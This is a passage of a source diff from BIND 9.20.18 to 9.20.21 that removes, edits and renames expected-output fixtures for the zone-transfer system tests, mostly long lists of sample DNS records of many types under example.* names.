AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D -hip2.example. 3600 IN HIP 2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D rvs.example.com. -https0.example. 3600 IN HTTPS 0 example.net. -https1.example. 3600 IN HTTPS 1 . port=60 -ipseckey01.example. 3600 IN IPSECKEY 10 1 2 192.0.2.38 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== -ipseckey02.example. 3600 IN IPSECKEY 10 0 2 . AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== -ipseckey03.example. 3600 IN IPSECKEY 10 1 2 192.0.2.3 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== -ipseckey04.example. 3600 IN IPSECKEY 10 3 2 mygateway.example.com. AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== -ipseckey05.example. 3600 IN IPSECKEY 10 2 2 2001:db8:0:8002::2000:1 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== -isdn01.example. 3600 IN ISDN "isdn-address" -isdn02.example. 3600 IN ISDN "isdn-address" "subaddress" -isdn03.example. 3600 IN ISDN "isdn-address" -isdn04.example. 3600 IN ISDN "isdn-address" "subaddress" -keydata.example. 3600 IN TYPE65533 \# 0 -keydata.example. 3600 IN TYPE65533 \# 6 010203040506 -keydata.example. 3600 IN TYPE65533 \# 18 010203040506010203040506010203040506 -kx01.example. 3600 IN KX 10 kdc.example. -kx02.example. 3600 IN KX 10 . -l32.example. 3600 IN L32 10 1.2.3.4 -l64.example. 3600 IN L64 10 14:4fff:ff20:ee64 -loc01.example. 3600 IN LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20m 2000m 20m -loc02.example. 3600 IN LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20m 2000m 20m -lp.example. 3600 IN LP 10 example.net. -mb01.example. 3600 IN MG madname.example. -mb02.example. 3600 IN MG . -mg01.example. 3600 IN MG mgmname.example. -mg02.example. 3600 IN MG . -minfo01.example. 3600 IN MINFO rmailbx.example. emailbx.example. -minfo02.example. 3600 IN MINFO . . -mr01.example. 3600 IN MR mrname.example. -mr02.example. 3600 IN MR . -mx01.example. 3600 IN MX 10 mail.example. -mx02.example. 3600 IN MX 10 . -naptr01.example. 3600 IN NAPTR 0 0 "" "" "" . -naptr02.example. 3600 IN NAPTR 65535 65535 "blurgh" "blorf" "blllbb" foo. -nid.example. 3600 IN NID 10 14:4fff:ff20:ee64 -nimloc01.example. 3600 IN NIMLOC 1289AB -ninfo01.example. 3600 IN NINFO "foo" -ninfo02.example. 3600 IN NINFO "foo" "bar" -ninfo03.example. 3600 IN NINFO "foo" -ninfo04.example. 3600 IN NINFO "foo" "bar" -ninfo05.example. 3600 IN NINFO "foo bar" -ninfo06.example. 3600 IN NINFO "foo bar" -ninfo07.example. 3600 IN NINFO "foo bar" -ninfo08.example. 3600 IN NINFO "foo\010bar" -ninfo09.example. 3600 IN NINFO "foo\010bar" -ninfo10.example. 3600 IN NINFO "foo bar" -ninfo11.example. 3600 IN NINFO "\"foo\"" -ninfo12.example. 3600 IN NINFO "\"foo\"" -ninfo13.example. 3600 IN NINFO "foo;" -ninfo14.example. 3600 IN NINFO "foo;" -ninfo15.example. 3600 IN NINFO "bar\\;" -ns2.example. 3600 IN A 10.53.0.2 -ns3.example. 3600 IN A 10.53.0.3 -nsap-ptr01.example. 3600 IN NSAP-PTR foo. -nsap-ptr01.example. 3600 IN NSAP-PTR . -nsap01.example. 3600 IN NSAP 0x47000580005a0000000001e133ffffff00016100 -nsap02.example. 3600 IN NSAP 0x47000580005a0000000001e133ffffff00016100 -nsec01.example. 3600 IN NSEC a.secure.nil. NS SOA MX LOC RRSIG NSEC DNSKEY -nsec02.example. 3600 IN NSEC . NSAP-PTR NSEC -nsec03.example. 3600 IN NSEC . A -nsec04.example. 3600 IN NSEC . TYPE127 -openpgpkey.example. 3600 IN OPENPGPKEY AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= -ptr01.example. 3600 IN PTR example. -px01.example. 3600 IN PX 65535 foo. bar. -px02.example. 3600 IN PX 65535 . . -resinfo.example. 3600 IN RESINFO "qnamemin" "exterr=15,16,17" "infourl=https://resolver.example.com/guide" -rkey01.example. 3600 IN RKEY 0 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= -rp01.example. 3600 IN RP mbox-dname.example. txt-dname.example. -rp02.example. 3600 IN RP . . -rrsig01.example. 3600 IN RRSIG NSEC 1 3 3600 20000102030405 19961211100908 2143 foo.nil. MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45IkskceFGgiWCn/GxHhai6V AuHAoNUz4YoU1tVfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY= -rt01.example. 3600 IN RT 0 intermediate-host.example. -rt02.example. 3600 IN RT 65535 . -sink01.example. 3600 IN SINK 1 0 0 -sink02.example. 3600 IN SINK 8 0 2 l4ik -smimea.example. 3600 IN SMIMEA 1 1 2 92003BA34942DC74152E2F2C408D29ECA5A520E7F2E06BB944F4DCA3 46BAF63C1B177615D466F6C4B71C216A50292BD58C9EBDD2F74E38FE 51FFD48C43326CBC -spf01.example. 3600 IN SPF "v=spf1 -all" -spf02.example. 3600 IN SPF "v=spf1" " -all" -srv01.example. 3600 IN SRV 0 0 0 . -srv02.example. 3600 IN SRV 65535 65535 65535 old-slow-box.example. -sshfp01.example. 3600 IN SSHFP 4 2 C76D8329954DA2835751E371544E963EFDA099080D6C58DD2BFD9A31 6E162C83 -sshfp02.example. 3600 IN SSHFP 1 2 BF29468C83AC58CCF8C85AB7B3BEB054ECF1E38512B8353AB36471FA 88961DCC -svcb0.example. 3600 IN SVCB 0 example.net. -svcb1.example. 3600 IN SVCB 1 . port=60 -ta.example. 3600 IN TA 30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9 -talink0.example. 3600 IN TALINK . talink1.example. -talink1.example. 3600 IN TALINK talink0.example. talink2.example. -talink2.example. 3600 IN TALINK talink2.example. . -tlsa.example. 3600 IN TLSA 1 1 2 92003BA34942DC74152E2F2C408D29ECA5A520E7F2E06BB944F4DCA3 46BAF63C1B177615D466F6C4B71C216A50292BD58C9EBDD2F74E38FE 51FFD48C43326CBC -txt01.example. 3600 IN TXT "foo" -txt02.example. 3600 IN TXT "foo" "bar" -txt03.example. 3600 IN TXT "foo" -txt04.example. 3600 IN TXT "foo" "bar" -txt05.example. 3600 IN TXT "foo bar" -txt06.example. 3600 IN TXT "foo bar" -txt07.example. 3600 IN TXT "foo bar" -txt08.example. 3600 IN TXT "foo\010bar" -txt09.example. 3600 IN TXT "foo\010bar" -txt10.example. 3600 IN TXT "foo bar" -txt11.example. 3600 IN TXT "\"foo\"" -txt12.example. 3600 IN TXT "\"foo\"" -txt13.example. 3600 IN TXT "foo;" -txt14.example. 3600 IN TXT "foo;" -txt15.example. 3600 IN TXT "bar\\;" -uid01.example. 3600 IN UID \# 1 02 -uinfo01.example. 3600 IN UINFO \# 1 01 -unspec01.example. 3600 IN UNSPEC \# 1 04 -uri01.example. 3600 IN URI 10 20 "https://www.isc.org/" -uri02.example. 3600 IN URI 30 40 "https://www.isc.org/HolyCowThisSureIsAVeryLongURIRecordIDontEvenKnowWhatSomeoneWouldEverWantWithSuchAThingButTheSpecificationRequiresThatWesupportItSoHereWeGoTestingItLaLaLaLaLaLaLaSeriouslyThoughWhyWouldYouEvenConsiderUsingAURIThisLongItSeemsLikeASillyIdeaButEnhWhatAreYouGonnaDo/" -uri03.example. 3600 IN URI 30 40 "" -wallet.example. 3600 IN WALLET "currency-identifer" "wallet-identifier" -wallet-multiple.example. 3600 IN WALLET "currency-identifer1" "wallet-identifier1" -wallet-multiple.example. 3600 IN WALLET "currency-identifer1" "wallet-identifier2" -wallet-multiple.example. 3600 IN WALLET "currency-identifer2" "wallet-identifier3" -wks01.example. 3600 IN WKS 10.0.0.1 6 0 1 2 21 23 -wks02.example. 3600 IN WKS 10.0.0.1 17 0 1 2 53 -wks03.example. 3600 IN WKS 10.0.0.2 6 65535 -x2501.example. 3600 IN X25 "123456789" -zonemd01.example. 3600 IN ZONEMD 2019020700 1 1 C220B8A6ED5728A971902F7E3D4FD93ADEEA88B0453C2E8E8C863D46 5AB06CF34EB95B266398C98B59124FA239CB7EEB -zonemd02.example. 3600 IN ZONEMD 2019020700 1 2 08CFA1115C7B948C4163A901270395EA226A930CD2CBCF2FA9A5E6EB 85F37C8A4E114D884E66F176EAB121CB02DB7D652E0CC4827E7A3204 F166B47E5613FD27 -8f1tmio9avcom2k0frp92lgcumak0cad.example. 3600 IN NSEC3 1 0 10 D2CF0294C020CE6C 8FPNS2UCT7FBS643THP2B77PEQ77K6IU A NS SOA MX AAAA RRSIG DNSKEY NSEC3PARAM -kcd3juae64f9c5csl1kif1htaui7un0g.example. 3600 IN NSEC3 1 0 10 D2CF0294C020CE6C KD5MN2M20340DGO0BL7NTSB8JP4BSC7E -mr5ukvsk1l37btu4q7b1dfevft4hkqdk.example. 3600 IN NSEC3 1 0 10 D2CF0294C020CE6C MT38J6VG7S0SN5G17MCUF6IQIKFUAJ05 A AAAA RRSIG -example. 86400 IN SOA ns2.example. hostmaster.example. 1397051952 5 5 1814400 3600 diff -Nru bind9-9.20.18/bin/tests/system/xfer/dig2.good bind9-9.20.21/bin/tests/system/xfer/dig2.good --- bind9-9.20.18/bin/tests/system/xfer/dig2.good 2026-01-09 13:39:28.221975865 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/dig2.good 1970-01-01 00:00:00.000000000 +0000 @@ -1,186 +0,0 @@ -example. 86400 IN SOA ns2.example. hostmaster.example. 1397051953 5 5 1814400 3600 -example. 3600 IN NS ns2.example. -example. 3600 IN NS ns3.example. -example. 3600 IN DNSKEY 512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= -a01.example. 3600 IN A 0.0.0.1 -a02.example. 3600 IN A 255.255.255.255 -a601.example. 3600 IN A6 0 ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff -a601.example. 3600 IN A6 64 ::ffff:ffff:ffff:ffff foo. -a601.example. 3600 IN A6 127 ::1 foo. -a601.example. 3600 IN A6 128 . -aaaa01.example. 3600 IN AAAA ::1 -aaaa02.example. 3600 IN AAAA fd92:7065:b8e:ffff::5 -afsdb01.example. 3600 IN AFSDB 0 hostname.example. -afsdb02.example. 3600 IN AFSDB 65535 . -amtrelay01.example. 3600 IN AMTRELAY 0 0 0 . -amtrelay02.example. 3600 IN AMTRELAY 0 1 0 . -amtrelay03.example. 3600 IN AMTRELAY 0 0 1 0.0.0.1 -amtrelay04.example. 3600 IN AMTRELAY 0 0 2 :: -amtrelay05.example. 3600 IN AMTRELAY 0 0 3 example.net. -amtrelay06.example. 3600 IN AMTRELAY \# 2 0004 -apl01.example. 3600 IN APL !1:10.0.0.1/32 1:10.0.0.1/24 -apl02.example. 3600 IN APL -atma01.example. 3600 IN ATMA +61200000000 -atma02.example. 3600 IN ATMA +61200000000 -atma03.example. 3600 IN ATMA 1234567890abcdef -atma04.example. 3600 IN ATMA fedcba0987654321 -avc.example. 3600 IN AVC "foo:bar" -brid.example. 3600 IN BRID abcd -caa01.example. 3600 IN CAA 0 issue "ca.example.net; policy=ev" -caa02.example. 3600 IN CAA 128 tbs "Unknown" -caa03.example. 3600 IN CAA 128 tbs "" -cdnskey01.example. 3600 IN CDNSKEY 512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= -cds01.example. 3600 IN CDS 30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9 -cert01.example. 3600 IN CERT 65534 65535 PRIVATEOID MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45IkskceFGgiWCn/GxHhai6V AuHAoNUz4YoU1tVfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY= -cname01.example. 3600 IN CNAME cname-target. -cname02.example. 3600 IN CNAME cname-target.example. -cname03.example. 3600 IN CNAME . -csync01.example. 3600 IN CSYNC 0 0 A NS AAAA -csync02.example. 3600 IN CSYNC 0 0 -dhcid01.example. 3600 IN DHCID AAIBY2/AuCccgoJbsaxcQc9TUapptP69lOjxfNuVAA2kjEA= -dhcid02.example. 3600 IN DHCID AAEBOSD+XR3Os/0LozeXVqcNc7FwCfQdWL3b/NaiUDlW2No= -dhcid03.example. 3600 IN DHCID AAABxLmlskllE0MVjd57zHcWmEH3pCQ6VytcKD//7es/deY= -dlv.example. 3600 IN DLV 30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9 -dname01.example. 3600 IN DNAME dname-target. -dname02.example. 3600 IN DNAME dname-target.example. -dname03.example. 3600 IN DNAME . -doa01.example. 3600 IN DOA 1234567890 1234567890 1 "image/gif" R0lGODlhKAAZAOMCAGZmZgBmmf///zOZzMz//5nM/zNmmWbM/5nMzMzMzACZ/////////////////////yH5BAEKAA8ALAAAAAAoABkAAATH8IFJK5U2a4337F5ogRkpnoCJrly7PrCKyh8c3HgAhzT35MDbbtO7/IJIHbGiOiaTxVTpSVWWLqNq1UVyapNS1wd3OAxug0LhnCubcVhsxysQnOt4ATpvvzHlFzl1AwODhWeFAgRpen5/UhheAYMFdUB4SFcpGEGGdQeCAqBBLTuSk30EeXd9pEsAbKGxjHqDSE0Sp6ixN4N1BJmbc7lIhmsBich1awPAjkY1SZR8bJWrz382SGqIBQQFQd4IsUTaX+ceuudPEQA7 -doa02.example. 3600 IN DOA 0 1 2 "" aHR0cHM6Ly93d3cuaXNjLm9yZy8= -ds01.example. 3600 IN NS ns42.example. -ds01.example. 3600 IN DS 12892 5 2 26584835CA80C81C91999F31CFAF2A0E89D4FF1C8FAFD0DDB31A85C7 19277C13 -ds02.example. 3600 IN NS ns43.example. -ds02.example. 3600 IN DS 12892 5 1 7AA4A3F416C2F2391FB7AB0D434F762CD62D1390 -dsync01.example. 3600 IN DSYNC CDS NOTIFY 53 . -eid01.example. 3600 IN EID 1289AB -eui48.example. 3600 IN EUI48 01-23-45-67-89-ab -eui64.example. 3600 IN EUI64 01-23-45-67-89-ab-cd-ef -gid01.example. 3600 IN GID \# 1 03 -gpos01.example. 3600 IN GPOS "-22.6882" "116.8652" "250.0" -gpos02.example. 3600 IN GPOS "" "" "" -hhit.example. 3600 IN HHIT abcd -hinfo01.example. 3600 IN HINFO "Generic PC clone" "NetBSD-1.4" -hinfo02.example. 3600 IN HINFO "PC" "NetBSD" -hip1.example. 3600 IN HIP 2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D -hip2.example. 3600 IN HIP 2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D rvs.example.com. -https0.example. 3600 IN HTTPS 0 example.net. -https1.example. 3600 IN HTTPS 1 . port=60 -ipseckey01.example. 3600 IN IPSECKEY 10 1 2 192.0.2.38 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== -ipseckey02.example. 3600 IN IPSECKEY 10 0 2 . AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== -ipseckey03.example. 3600 IN IPSECKEY 10 1 2 192.0.2.3 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== -ipseckey04.example. 3600 IN IPSECKEY 10 3 2 mygateway.example.com. AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== -ipseckey05.example. 3600 IN IPSECKEY 10 2 2 2001:db8:0:8002::2000:1 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== -isdn01.example. 3600 IN ISDN "isdn-address" -isdn02.example. 3600 IN ISDN "isdn-address" "subaddress" -isdn03.example. 3600 IN ISDN "isdn-address" -isdn04.example. 3600 IN ISDN "isdn-address" "subaddress" -keydata.example. 3600 IN TYPE65533 \# 0 -keydata.example. 3600 IN TYPE65533 \# 6 010203040506 -keydata.example. 3600 IN TYPE65533 \# 18 010203040506010203040506010203040506 -kx01.example. 3600 IN KX 10 kdc.example. -kx02.example. 3600 IN KX 10 . -l32.example. 3600 IN L32 10 1.2.3.4 -l64.example. 3600 IN L64 10 14:4fff:ff20:ee64 -loc01.example. 3600 IN LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20m 2000m 20m -loc02.example. 3600 IN LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20m 2000m 20m -lp.example. 3600 IN LP 10 example.net. -mb01.example. 3600 IN MG madname.example. -mb02.example. 3600 IN MG . -mg01.example. 3600 IN MG mgmname.example. -mg02.example. 3600 IN MG . -minfo01.example. 3600 IN MINFO rmailbx.example. emailbx.example. -minfo02.example. 3600 IN MINFO . . -mr01.example. 3600 IN MR mrname.example. -mr02.example. 3600 IN MR . -mx01.example. 3600 IN MX 10 mail.example. -mx02.example. 3600 IN MX 10 . -naptr01.example. 3600 IN NAPTR 0 0 "" "" "" . -naptr02.example. 3600 IN NAPTR 65535 65535 "blurgh" "blorf" "blllbb" foo. -nid.example. 3600 IN NID 10 14:4fff:ff20:ee64 -nimloc01.example. 3600 IN NIMLOC 1289AB -ninfo01.example. 3600 IN NINFO "foo" -ninfo02.example. 3600 IN NINFO "foo" "bar" -ninfo03.example. 3600 IN NINFO "foo" -ninfo04.example. 3600 IN NINFO "foo" "bar" -ninfo05.example. 3600 IN NINFO "foo bar" -ninfo06.example. 3600 IN NINFO "foo bar" -ninfo07.example. 3600 IN NINFO "foo bar" -ninfo08.example. 3600 IN NINFO "foo\010bar" -ninfo09.example. 3600 IN NINFO "foo\010bar" -ninfo10.example. 3600 IN NINFO "foo bar" -ninfo11.example. 3600 IN NINFO "\"foo\"" -ninfo12.example. 3600 IN NINFO "\"foo\"" -ninfo13.example. 3600 IN NINFO "foo;" -ninfo14.example. 3600 IN NINFO "foo;" -ninfo15.example. 3600 IN NINFO "bar\\;" -ns2.example. 3600 IN A 10.53.0.2 -ns3.example. 3600 IN A 10.53.0.3 -nsap-ptr01.example. 3600 IN NSAP-PTR foo. -nsap-ptr01.example. 3600 IN NSAP-PTR . -nsap01.example. 3600 IN NSAP 0x47000580005a0000000001e133ffffff00016100 -nsap02.example. 3600 IN NSAP 0x47000580005a0000000001e133ffffff00016100 -nsec01.example. 3600 IN NSEC a.secure.nil. NS SOA MX LOC RRSIG NSEC DNSKEY -nsec02.example. 3600 IN NSEC . NSAP-PTR NSEC -nsec03.example. 3600 IN NSEC . A -nsec04.example. 3600 IN NSEC . TYPE127 -openpgpkey.example. 3600 IN OPENPGPKEY AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= -ptr01.example. 3600 IN PTR example. -px01.example. 3600 IN PX 65535 foo. bar. -px02.example. 3600 IN PX 65535 . . -resinfo.example. 3600 IN RESINFO "qnamemin" "exterr=15,16,17" "infourl=https://resolver.example.com/guide" -rkey01.example. 3600 IN RKEY 0 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= -rp01.example. 3600 IN RP mbox-dname.example. txt-dname.example. -rp02.example. 3600 IN RP . . -rrsig01.example. 3600 IN RRSIG NSEC 1 3 3600 20000102030405 19961211100908 2143 foo.nil. MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45IkskceFGgiWCn/GxHhai6V AuHAoNUz4YoU1tVfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY= -rt01.example. 3600 IN RT 0 intermediate-host.example. -rt02.example. 3600 IN RT 65535 . -sink01.example. 3600 IN SINK 1 0 0 -sink02.example. 3600 IN SINK 8 0 2 l4ik -smimea.example. 3600 IN SMIMEA 1 1 2 92003BA34942DC74152E2F2C408D29ECA5A520E7F2E06BB944F4DCA3 46BAF63C1B177615D466F6C4B71C216A50292BD58C9EBDD2F74E38FE 51FFD48C43326CBC -spf01.example. 3600 IN SPF "v=spf1 -all" -spf02.example. 3600 IN SPF "v=spf1" " -all" -srv01.example. 3600 IN SRV 0 0 0 . -srv02.example. 3600 IN SRV 65535 65535 65535 old-slow-box.example. -sshfp01.example. 3600 IN SSHFP 4 2 C76D8329954DA2835751E371544E963EFDA099080D6C58DD2BFD9A31 6E162C83 -sshfp02.example. 3600 IN SSHFP 1 2 BF29468C83AC58CCF8C85AB7B3BEB054ECF1E38512B8353AB36471FA 88961DCC -svcb0.example. 3600 IN SVCB 0 example.net. -svcb1.example. 3600 IN SVCB 1 . port=60 -ta.example. 3600 IN TA 30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9 -talink0.example. 3600 IN TALINK . talink1.example. -talink1.example. 3600 IN TALINK talink0.example. talink2.example. -talink2.example. 3600 IN TALINK talink2.example. . -tlsa.example. 3600 IN TLSA 1 1 2 92003BA34942DC74152E2F2C408D29ECA5A520E7F2E06BB944F4DCA3 46BAF63C1B177615D466F6C4B71C216A50292BD58C9EBDD2F74E38FE 51FFD48C43326CBC -txt01.example. 3600 IN TXT "foo" -txt02.example. 3600 IN TXT "foo" "bar" -txt03.example. 3600 IN TXT "foo" -txt04.example. 3600 IN TXT "foo" "bar" -txt05.example. 3600 IN TXT "foo bar" -txt06.example. 3600 IN TXT "foo bar" -txt07.example. 3600 IN TXT "foo bar" -txt08.example. 3600 IN TXT "foo\010bar" -txt09.example. 3600 IN TXT "foo\010bar" -txt10.example. 3600 IN TXT "foo bar" -txt11.example. 3600 IN TXT "\"foo\"" -txt12.example. 3600 IN TXT "\"foo\"" -txt13.example. 3600 IN TXT "foo;" -txt14.example. 3600 IN TXT "foo;" -txt15.example. 3600 IN TXT "bar\\;" -uid01.example. 3600 IN UID \# 1 02 -uinfo01.example. 3600 IN UINFO \# 1 01 -unspec01.example. 3600 IN UNSPEC \# 1 04 -uri01.example. 3600 IN URI 10 20 "https://www.isc.org/" -uri02.example. 3600 IN URI 30 40 "https://www.isc.org/HolyCowThisSureIsAVeryLongURIRecordIDontEvenKnowWhatSomeoneWouldEverWantWithSuchAThingButTheSpecificationRequiresThatWesupportItSoHereWeGoTestingItLaLaLaLaLaLaLaSeriouslyThoughWhyWouldYouEvenConsiderUsingAURIThisLongItSeemsLikeASillyIdeaButEnhWhatAreYouGonnaDo/" -uri03.example. 3600 IN URI 30 40 "" -wallet.example. 3600 IN WALLET "currency-identifer" "wallet-identifier" -wallet-multiple.example. 3600 IN WALLET "currency-identifer1" "wallet-identifier1" -wallet-multiple.example. 3600 IN WALLET "currency-identifer1" "wallet-identifier2" -wallet-multiple.example. 3600 IN WALLET "currency-identifer2" "wallet-identifier3" -wks01.example. 3600 IN WKS 10.0.0.1 6 0 1 2 21 23 -wks02.example. 3600 IN WKS 10.0.0.1 17 0 1 2 53 -wks03.example. 3600 IN WKS 10.0.0.2 6 65535 -x2501.example. 3600 IN X25 "123456789" -zonemd01.example. 3600 IN ZONEMD 2019020700 1 1 C220B8A6ED5728A971902F7E3D4FD93ADEEA88B0453C2E8E8C863D46 5AB06CF34EB95B266398C98B59124FA239CB7EEB -zonemd02.example. 3600 IN ZONEMD 2019020700 1 2 08CFA1115C7B948C4163A901270395EA226A930CD2CBCF2FA9A5E6EB 85F37C8A4E114D884E66F176EAB121CB02DB7D652E0CC4827E7A3204 F166B47E5613FD27 -8f1tmio9avcom2k0frp92lgcumak0cad.example. 3600 IN NSEC3 1 0 10 D2CF0294C020CE6C 8FPNS2UCT7FBS643THP2B77PEQ77K6IU A NS SOA MX AAAA RRSIG DNSKEY NSEC3PARAM -kcd3juae64f9c5csl1kif1htaui7un0g.example. 3600 IN NSEC3 1 0 10 D2CF0294C020CE6C KD5MN2M20340DGO0BL7NTSB8JP4BSC7E -mr5ukvsk1l37btu4q7b1dfevft4hkqdk.example. 3600 IN NSEC3 1 0 10 D2CF0294C020CE6C MT38J6VG7S0SN5G17MCUF6IQIKFUAJ05 A AAAA RRSIG -example. 86400 IN SOA ns2.example. hostmaster.example. 1397051953 5 5 1814400 3600 diff -Nru bind9-9.20.18/bin/tests/system/xfer/dig3.good bind9-9.20.21/bin/tests/system/xfer/dig3.good --- bind9-9.20.18/bin/tests/system/xfer/dig3.good 2026-01-09 13:39:28.221975865 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/dig3.good 1970-01-01 00:00:00.000000000 +0000 @@ -1,6 +0,0 @@ -dot-fallback. 5 IN SOA ns1.dot-fallback. hostmaster.dot-fallback. 1 3600 3600 3600 3600 -dot-fallback. 5 IN NS ns1.dot-fallback. -a01.dot-fallback. 5 IN A 1.1.1.1 -a02.dot-fallback. 5 IN A 255.255.255.255 -ns1.dot-fallback. 5 IN A 10.53.0.1 -dot-fallback. 5 IN SOA ns1.dot-fallback. hostmaster.dot-fallback. 1 3600 3600 3600 3600 diff -Nru bind9-9.20.18/bin/tests/system/xfer/knowngood.mapped bind9-9.20.21/bin/tests/system/xfer/knowngood.mapped --- bind9-9.20.18/bin/tests/system/xfer/knowngood.mapped 2026-01-09 13:39:28.221975865 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/knowngood.mapped 2026-03-13 22:01:10.768875205 +0000 @@ -1,6 +1,4 @@ - -; <<>> DiG 9.10.2-P3 <<>> -p 5300 axfr mapped @10.53.0.3 -;; global options: +cmd +;ANSWER mapped. 3600 IN SOA . . 0 0 0 2147483647 0 example.aa. 3600 IN A 1.2.3.4 example1.aa. 3600 IN A 1.2.3.4 @@ -18,9 +16,4 @@ foo.kk. 3600 IN A 1.2.3.4 foo.ll. 3600 IN A 1.2.3.4 mapped. 3600 IN NS . -mapped. 3600 IN SOA . . 0 0 0 2147483647 0 -;; Query time: 4 msec -;; SERVER: 10.53.0.3#5300(10.53.0.3) -;; WHEN: Tue Feb 16 14:38:25 EST 2016 -;; XFR size: 18 records (messages 1, bytes 468) - +mapped. 3600 IN SOA . . 0 0 0 2147483647 0 \ No newline at end of file diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns1/dot-fallback.db bind9-9.20.21/bin/tests/system/xfer/ns1/dot-fallback.db --- bind9-9.20.18/bin/tests/system/xfer/ns1/dot-fallback.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns1/dot-fallback.db 2026-03-13 22:01:10.768875205 +0000 @@ -0,0 +1,19 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 5 + +@ IN SOA ns1 hostmaster 1 3600 3600 3600 3600 +@ NS ns1 +ns1 A 10.53.0.1 +a01 A 1.1.1.1 +a02 A 255.255.255.255 + diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns1/dot-fallback.db.in bind9-9.20.21/bin/tests/system/xfer/ns1/dot-fallback.db.in --- bind9-9.20.18/bin/tests/system/xfer/ns1/dot-fallback.db.in 2026-01-09 13:39:28.221975865 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns1/dot-fallback.db.in 1970-01-01 00:00:00.000000000 +0000 @@ -1,19 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at 